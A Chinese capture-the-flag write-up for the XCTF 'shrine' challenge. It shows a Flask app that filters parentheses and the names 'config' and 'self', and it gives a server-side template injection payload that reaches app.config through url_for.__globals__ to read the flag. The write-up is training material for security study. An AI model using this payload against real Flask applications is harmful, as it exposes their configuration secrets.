zoukankan      html  css  js  c++  java
  • XCTF:shrine(Flask模块注入)

    首先进入页面,发现是python代码,整理如下:

    import flask
    import os
    
    app = flask.Flask(__name__)
    
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
    
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '') #过滤括号
            blacklist = ['config', 'self']  #黑名单
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    
        return flask.render_template_string(safe_jinja(shrine))
    
    
    if __name__ == '__main__':
        app.run(debug=True)

    这是一个flask框架web应用,过滤了括号和config、self关键字

    一开始尝试寻找过滤括号的模板注入,发现没有,只好寻找其他方法

    查阅资料有整理的Flask特有的变量和函数

    config

      config 对象就是Flask的config对象,也就是 app.config 对象

    
    

    request

      Flask中代表当前请求的request对象

    session

      Flask的session对象

    url_for()

      url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接

    get_flashed_messages()

      这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉

    使用url_for函数获取全局变量得到config得到flag

    http://220.249.52.133:52793/shrine/{{url_for.__globals__["current_app"].config}}

    也可以使用get_flashed_messages函数去构造payload

  • 相关阅读:
    intel cpu 架构
    nginx-nagios-pnp4nagios-nrpe安装配置过程
    iostat 命令detail
    nagios环境
    编译安装PHP 5.3.13
    nagios支持PNP图形显示
    nagios配置安装
    在xp下禁用media sense
    linux awk常用命令【转载】
    sed命令解析[转载]
  • 原文地址:https://www.cnblogs.com/luocodes/p/13830643.html
Copyright © 2011-2022 走看看